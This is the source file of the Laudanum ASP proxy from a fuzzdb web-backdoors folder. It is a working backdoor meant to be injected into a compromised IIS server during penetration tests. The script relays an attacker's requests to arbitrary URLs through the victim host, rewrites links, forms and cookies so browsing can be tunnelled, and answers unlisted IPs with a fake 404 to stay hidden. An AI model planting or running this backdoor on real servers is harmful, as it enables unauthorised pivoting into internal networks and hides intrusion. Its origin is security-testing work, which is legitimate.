fuzzdb/web-backdoors/asp/proxy.asp
2016-03-09 19:19:38 -05:00

454 lines
13 KiB
Text

<%@Language="VBScript"%>
<%Option Explicit%>
<%Response.Buffer = True%>
<%
' *******************************************************************************
' ***
' *** Laudanum Project
' *** A Collection of Injectable Files used during a Penetration Test
' ***
' *** More information is available at:
' *** http://laudanum.secureideas.net
' *** laudanum@secureideas.net
' ***
' *** Project Leads:
' *** Kevin Johnson <kjohnson@secureideas.net
' *** Tim Medin <tim@counterhack.com>
' ***
' *** Copyright 2014 by Kevin Johnson and the Laudanum Team
' ***
' ********************************************************************************
' ***
' *** This file provides access as a proxy.
' *** Written by Tim Medin <tim@counterhack.com>
' ***
' ********************************************************************************
' *** This program is free software; you can redistribute it and/or
' *** modify it under the terms of the GNU General Public License
' *** as published by the Free Software Foundation; either version 2
' *** of the License, or (at your option) any later version.
' ***
' *** This program is distributed in the hope that it will be useful,
' *** but WITHOUT ANY WARRANTY; without even the implied warranty of
' *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
' *** GNU General Public License for more details.
' ***
' *** You can get a copy of the GNU General Public License from this
' *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
' *** You can also write to the Free Software Foundation, Inc., Temple
' *** Place - Suite Boston, MA USA.
' ***
' ***************************************************************************** */
' ***************** Config entries below ***********************
' Define variables
Dim allowedIPs
Dim allowed
Dim i
Dim s 'generic string, yeah, I know bad, but at this point I just want it to work
Dim urltemp
Dim urlscheme
Dim urlhost
Dim urlport
Dim urlpath
Dim urlfile
Dim urlquery
Dim http
Dim method
Dim contenttype
Dim stream
Dim regex
Dim body
Dim params
function err_handler()
%>
<html>
<head>
<title>Laudanum ASP Proxy</title>
</head>
<body>
<h1>Fatal Error!</h1>
<%=Err.Number%><br/>
<%=Err.Message%><br/>
<hr/>
<address>
Copyright &copy; 2014, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html><%
end function
function CleanQueryString
' removes laudurl from the querystring
Dim i
Dim j
Dim s
Dim key
Dim q
if len(request.querystring) = 0 then
CleanQueryString = ""
exit function
end if
' build the request parameters
for i = 1 to request.querystring.count
key = request.querystring.key(i)
'response.write "<br/>key:" & key
if key = "laudurl" then
' if the key is laudurl, we need check if there is a ? in the string since
' it may have its own query string that doesn't get parsed properly.
s = split(request.querystring("laudurl"), "?")
if ubound(s) > lbound(s) then
' laudurl contains a ?, it must be manually parsed
key = left(s(1), instr(s(1), "=") - 1)
q = q & "&" & key & "=" & mid(s(1), len(key) + 2)
end if
else
for j = 1 to request.querystring(key).count
'response.write "<br/> -value:" & request.querystring(key)(j)
q = q & "&" & key & "=" & request.querystring(key)(j)
next
end if
next
if len(q) > 0 then
CleanQueryString = "?" & mid(q, 2)
else
CleanQueryString = ""
end if
end function
function CleanFormValues()
Dim r
Set r = New RegExp
r.IgnoreCase = true
r.Global = true
' remove the laudurl paramater
r.Pattern = "laudurl=[^&]+($|&)"
CleanFormValues = r.Replace(request.form, "")
Set r = nothing
end function
sub ParseUrl()
' parses the url into the global variables
Dim urltemp
Dim url
'get the url, it may be in the querystring for a get or from a form in a post
url = Request.QueryString("laudurl")
if url = "" then
url = Request.Form("laudurl")
end if
if url = "" then
urlscheme = ""
urlhost = ""
urlport = ""
urlpath = ""
urlfile = ""
urlquery = ""
exit sub
end if
' Parse the url and break it into its components
' this is done so it can be used to rewrite the page
' ensure the url has a scheme, if it doesn't then assume http
if instr(url,"://") = 0 then url = "http://" + url
' Get the scheme
urlscheme = split(url, "://")(0) & "://"
' urltemp is used to hold the remainder of the url as each portion is parsed
urltemp = mid(url, len(urlscheme) + 1)
'get the host
if instr(urltemp, "/") = 0 then
' there is no path so all that is left is the host
urlhost = urltemp
urlport = ""
urlpath = "/"
urlfile = ""
urlport = ""
else
' there is more that just the hostname remaining
urlhost = left(urltemp, instr(urltemp, "/") - 1)
urltemp = mid(urltemp, len(urlhost) + 1)
' is there a port
if instr(urlhost, ":") = 0 then
' no port
urlport = ""
else
' there is a port
arr = split(urlhost, ":")
urlhost = arr(0)
urlport = ":" & arr(1)
end if
' all that is left is the path and the query
' is there a query?
if instr(urltemp, "?") = 0 then
' no query
urlpath = urltemp
'urlquery = ""
else
'Response.Write "<br><br>" & urltemp & "<br><br>"
urlpath = left(urltemp, instr(urltemp, "?") - 1)
'urlquery = mid(urltemp, instr(urltemp, "?") + 1)
end if
if right(urlpath, 1) = "/" then
urlfile = ""
else
' we need to get the path and the file
urltemp = split(urlpath, "/")
urlfile = urltemp(ubound(urltemp))
urlpath = left(urlpath, len(urlpath) - len(urlfile))
end if
end if
urlquery = CleanQueryString
'response.write "<br>scheme: " & urlscheme
'response.write "<br>host: " & urlhost
'response.write "<br>port: " & urlport
'response.write "<br>path: " & urlpath
'response.write "<br>file: " & urlfile
'response.write "<br>query: " & urlquery
'response.write "<br>full: " & FullUrl()
'response.end
end sub
function FullUrl()
FullUrl = urlscheme & urlhost & urlport & urlpath & urlfile & urlquery
end function
sub RewriteHeaders()
Dim i
Dim header
Dim headervalue
Dim regexdomain
Dim regexpath
' setup a regular expression to clean the cookie's domain and path
Set regexdomain = New RegExp
regexdomain.IgnoreCase = true
regexdomain.Global = true
' rewrite images and links - absolute reference
regexdomain.Pattern = "domain=[\S]+"
Set regexpath = New RegExp
regexpath.IgnoreCase = true
regexpath.Global = true
' rewrite images and links - absolute reference
regexpath.Pattern = "path=[\S]+"
' go through each header
for each i in Split(http.getAllResponseHeaders, vbLf)
' Break on the \x0a and remove the \x0d if it exists
i = Replace(i, vbCr, "")
' make sure it is a header and value
if instr(i, ":") > 0 then
' break the response headers into header and value
header = trim(Left(i, instr(i, ":") - 1))
header = replace(header, "_", "-")
headervalue = trim(Right(i, len(i) - instr(i, ":")))
' don't add these two header types since they are handled automatically
if lcase(header) <> "content-type" and lcase(header) <> "content-length" and lcase(header) <> "transfer-encoding" then
if lcase(header) = "set-cookie" then
' strip the domain from the cookie
headervalue = regexdomain.replace(headervalue, "")
' strip the path from the cookie
headervalue = regexpath.replace(headervalue, "")
headervalue = trim(headervalue)
end if
response.AddHeader header, headervalue
end if
end if
next
Set regexdomain = nothing
Set regexpath = nothing
end sub
' TODO: Add authentication support so it will work behind a proxy
' IPs are enterable as individual addresses TODO: add CIDR support
allowedIPs = "192.168.0.1,127.0.0.1,::1"
' Just in cace you added a space in the line above
allowedIPs = replace(allowedIPS," ","")
'turn it into an array
allowedIPs = split(allowedIPS,",") '
' make sure the ip is allowed
' TODO: change this to 0 for production, it is 1 for testing
allowed = 0
for i = lbound(allowedIPs) to ubound(allowedIPs)
if allowedIPS(i) = Request.ServerVariables("REMOTE_ADDR") then
allowed = 1
exit for
end if
next
' send a 404 if the IP Address is not allowed
if allowed = 0 then
Response.Status = "404 File Not Found"
Response.Write(Response.Status & Request.ServerVariables("REMOTE_ADDR"))
Response.End
end if
'initialize variables
Set http = nothing
Set regex = nothing
Set stream = nothing
' Define Constants
const useMSXML2 = 0
const chunkSize = 1048576 ' 1MB
' parse the url into its parts
ParseUrl()
' check if there is a valid url
if len(FullUrl) = 0 then
' no url to proxy, give `em the boring default page
' Default layout of the page
' First thing you get when you hit the page without giving it a URL
%>
<html>
<head>
<title>Laudanum ASP Proxy</title>
<script type="text/javascript">
function init() {
document.proxy.url.focus();
}
</script>
</head>
<body onload="init()">
<h1>Laudanum ASP Proxy</h1>
<form method="GET" name="proxy" action="<%=Request.ServerVariables("URL")%>">
<input type="text" name="laudurl" size="70">
<input type="submit" value="Submit">
</form>
<hr/>
<address>
Copyright &copy; 2014, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</body>
</html> <%
Response.End()
end if
' Let's get our Proxy on!!!
' define the request type
if useMSXML2 = 1 then
Set http = Server.CreateObject("MSXML2.XMLHTTP")
else
Set http = Server.CreateObject("Microsoft.XMLHTTP")
end if
' get the request type
method = Request.ServerVariables("REQUEST_METHOD")
' setup the request, false means don't send it yet
http.Open method, FullUrl, False
' send the request
if method = "POST" then
params = CleanFormValues
http.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
http.setRequestHeader "Content-length", len(params)
http.setRequestHeader "Connection", "close"
http.Send(params)
else
http.Send
end if
' Replace the normal headers with the ones from the response
Response.Clear
contenttype = http.getResponseHeader("Content-Type")
Response.ContentType = contenttype
' rewrite the headers. Takes headers and passes them to new request
RewriteHeaders()
' how to respond? is it text or is it something else?
if lcase(left(contenttype, 4)) = "text" then
' response is text, so we need to rewrite it, but that's later
' do the rewriting
body = http.responseText
Set regex = New RegExp
regex.IgnoreCase = true
regex.Global = true
' rewrite images and links - absolute reference
s = urlscheme & urlhost & urlport
regex.Pattern = "((src|href).?=.?['""])(\/[^'""]+['""])"
body = regex.Replace(body, "$1" & Request.ServerVariables("SCRIPT_NAME") & "?laudurl=" & s & "$3")
' rewrite images and links - full reference
regex.Pattern = "((src|href).?=.?['""])(http[^'""]+['""])"
body = regex.Replace(body, "$1" & Request.ServerVariables("SCRIPT_NAME") & "?laudurl=$3")
' rewrite images and links - absolute reference
s = urlscheme & urlhost & urlport & urlpath
regex.Pattern = "((src|href).?=.?['""])([^\/][^'""]+['""])"
body = regex.Replace(body, "$1" & Request.ServerVariables("SCRIPT_NAME") & "?laudurl=" & s & "$3")
' rewrite forms - absolute reference
s = urlscheme & urlhost & urlport
regex.Pattern = "(\<form[^\>]+action.?=.?['""])(\/[^'""]+)(['""][^\>]*[\>])"
body = regex.Replace(body, "$1" & Request.ServerVariables("SCRIPT_NAME") & "$3<input type=""hidden"" name=""laudurl"" value=""" & s & "$2"">")
' rewrite forms - full reference
regex.Pattern = "(\<form[^\>]+action.?=.?['""])(http[^'""]+)(['""][^\>]*[\>])"
body = regex.Replace(body, "$1" & Request.ServerVariables("SCRIPT_NAME") & "$3<input type=""hidden"" name=""laudurl"" value=""$2"">")
' rewrite forms - absolute reference
s = urlscheme & urlhost & urlport & urlpath
regex.Pattern = "(\<form[^\>]+action.?=.?['""])([^\/][^'""]+)(['""][^\>]*[\>])"
body = regex.Replace(body, "$1" & Request.ServerVariables("SCRIPT_NAME") & "$3<input type=""hidden"" name=""laudurl"" value=""" & s & "$2"">")
Response.Write(body)
Set regex = nothing
else
' some sort of binary response, so stream it
Set stream = nothing
Set stream = Server.CreateObject("ADODB.Stream")
stream.Type = 1 'Binary
stream.Open
stream.Write http.responseBody
stream.Position = 0
For i = 0 to stream.Size \ chunkSize
Response.BinaryWrite(stream.Read(chunkSize))
next
Set stream = nothing
end if
Set http = nothing
Response.End
:HandleError
err_handler
%>